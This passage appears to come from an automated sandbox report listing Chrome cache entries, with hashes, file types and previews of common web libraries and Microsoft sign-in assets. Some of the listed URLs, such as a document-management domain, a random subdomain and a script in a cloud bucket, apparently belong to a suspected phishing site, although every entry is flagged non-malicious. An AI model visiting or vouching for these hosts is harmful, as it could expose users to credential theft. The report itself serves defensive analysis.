28a745','vcoBM','

Chrome Cache Entry: 193

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 28 x 39, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.068159130770307
Encrypted:	false
SSDEEP:	3:yionv//thPlhYtnl+qI/oyxl/k4E08up:6v/lhP0tl+qIt7Tp
MD5:	1BF8F9706DB05CBDE50DD18C2C0153D6
SHA1:	630576B4D80588C0E86F353FCBB3F96D6716B435
SHA-256:	80F48B91ECDEBAB6CAC91BB90092E20B82894302B50A9CEEFD50D4428820423B
SHA-512:	8DFE917131704BAF5B3211C494515CE777FC33017C38AD551148E7B2EF4ACC7805556DFDF41B5402550ACF1A882A55397FCD89C91C8F5E4BE76D8CC255F44063
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/d/90a38299fd108c5d/1738261586764/rk2-b3QjAiDFIbt
Preview:	.PNG........IHDR.......'............IDAT.....$.....IEND.B`.

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	196
Entropy (8bit):	5.098952451791238
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezocKqD:J0+oxBeRmR9etdzRxGez1T
MD5:	62962DAA1B19BBCC2DB10B7BFD531EA6
SHA1:	D64BAE91091EDA6A7532EBEC06AA70893B79E1F8
SHA-256:	80C3FE2AE1062ABF56456F52518BD670F9EC3917B7F85E152B347AC6B6FAF880
SHA-512:	9002A0475FDB38541E78048709006926655C726E93E823B84E2DBF5B53FD539A5342E7266447D23DB0E5528E27A19961B115B180C94F2272FF124C7E5C8304E7
Malicious:	false
URL:	https://office.docmanagementsystem.com/favicon.ico
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.</body></html>.

Chrome Cache Entry: 195

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 196

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 197

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	dropped
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 198

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	dropped
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 199

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48121)
Category:	downloaded
Size (bytes):	48122
Entropy (8bit):	5.399849077264316
Encrypted:	false
SSDEEP:	768:nCbU/Cru5h5taq75KvO0fV9/KFeWlzQylfTGjBsgVX29wDBslY1L8ep7K1oiSJvU:4ru5h5taq7gGYV9yjcyly29Qs3
MD5:	EC49B36B4DF75F725A1BBABE33C02200
SHA1:	3A8E012C4AFBFDD60DC5FB7787BEC1019C2E7693
SHA-256:	ACC0F6A3825A97A4CD1B5B959E258A01EF4F21C2C55124F9BAB349E0F83E3B7A
SHA-512:	C1613B7699254D395C800486EEE3D563371FC44A1D936AF63E58D04473671F0F2640F503146E70CD96CEC71D73410B55E81EBC7DCED03E0275344DCC1DE49241
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/b/6682e961b853/api.js
Preview:	"use strict";(function(){function Ht(e,t,a,o,c,l,g){try{var h=e[l](g),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function jt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);function g(s){Ht(l,o,c,g,h,"next",s)}function h(s){Ht(l,o,c,g,h,"throw",s)}g(void 0)})}}function D(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):D(e,t)}function Ue(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function De(e){for(var t=1;t<arguments.length;t++){var a=arguments[t]!=null?arguments[t]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){Ue(e,c,a[c])})}return e}function Sr(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 200

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	downloaded
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
URL:	https://code.jquery.com/jquery-3.2.1.slim.min.js
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 201

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 202

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 203

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	downloaded
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
URL:	https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 204

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 205

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48121)
Category:	dropped
Size (bytes):	48122
Entropy (8bit):	5.399849077264316
Encrypted:	false
SSDEEP:	768:nCbU/Cru5h5taq75KvO0fV9/KFeWlzQylfTGjBsgVX29wDBslY1L8ep7K1oiSJvU:4ru5h5taq7gGYV9yjcyly29Qs3
MD5:	EC49B36B4DF75F725A1BBABE33C02200
SHA1:	3A8E012C4AFBFDD60DC5FB7787BEC1019C2E7693
SHA-256:	ACC0F6A3825A97A4CD1B5B959E258A01EF4F21C2C55124F9BAB349E0F83E3B7A
SHA-512:	C1613B7699254D395C800486EEE3D563371FC44A1D936AF63E58D04473671F0F2640F503146E70CD96CEC71D73410B55E81EBC7DCED03E0275344DCC1DE49241
Malicious:	false
Preview:	"use strict";(function(){function Ht(e,t,a,o,c,l,g){try{var h=e[l](g),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function jt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);function g(s){Ht(l,o,c,g,h,"next",s)}function h(s){Ht(l,o,c,g,h,"throw",s)}g(void 0)})}}function D(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):D(e,t)}function Ue(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function De(e){for(var t=1;t<arguments.length;t++){var a=arguments[t]!=null?arguments[t]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){Ue(e,c,a[c])})}return e}function Sr(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 207

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 208

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	315
Entropy (8bit):	5.0572271090563765
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezoFEHcLgabzjsKtgsg93wzRbKqD:J0+oxBeRmR9etdzRxGezZfCzjsKtgizR
MD5:	A34AC19F4AFAE63ADC5D2F7BC970C07F
SHA1:	A82190FC530C265AA40A045C21770D967F4767B8
SHA-256:	D5A89E26BEAE0BC03AD18A0B0D1D3D75F87C32047879D25DA11970CB5C4662A3
SHA-512:	42E53D96E5961E95B7A984D9C9778A1D3BD8EE0C87B8B3B515FA31F67C2D073C8565AFC2F4B962C43668C4EFA1E478DA9BB0ECFFA79479C7E880731BC4C55765
Malicious:	false
URL:	http://r56eqpki1r3pdt55n3rm.wearedhaka.com/favicon.ico
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.<p>Additionally, a 404 Not Found.error was encountered while trying to use an ErrorDocument to handle the request.</p>.</body></html>.

Chrome Cache Entry: 209

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 210

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65446), with CRLF line terminators
Category:	downloaded
Size (bytes):	553324
Entropy (8bit):	4.912224928465184
Encrypted:	false
SSDEEP:	6144:DTWsY1akh5JWPJurgWLNW6VF7YlNbx1eX8jumoHL4owSKrthO4bQVw:6ay8oLLc6VF7eNyMjumoHL4owSKrcw
MD5:	82E842AC19FB1E45C8E70DBB9D6BF76D
SHA1:	004DD71DEDA63E9BF6166F395984699E01C51427
SHA-256:	15369BE2B2E0EF94B7F952F4D1AED02E67C135B65FA0B4560DF72847A7E16F16
SHA-512:	070498D04AAAB931843C0C5A8A9F4A0B2AFF66FFFF1E9C5777CB342B83E1A1A209E7C85ACC04D756B0012578770220CB6AC04BA11947278D2BFADF753B35958C
Malicious:	false
URL:	https://782137365-1317754460.cos.ap-singapore.myqcloud.com/bootstrap.min.js
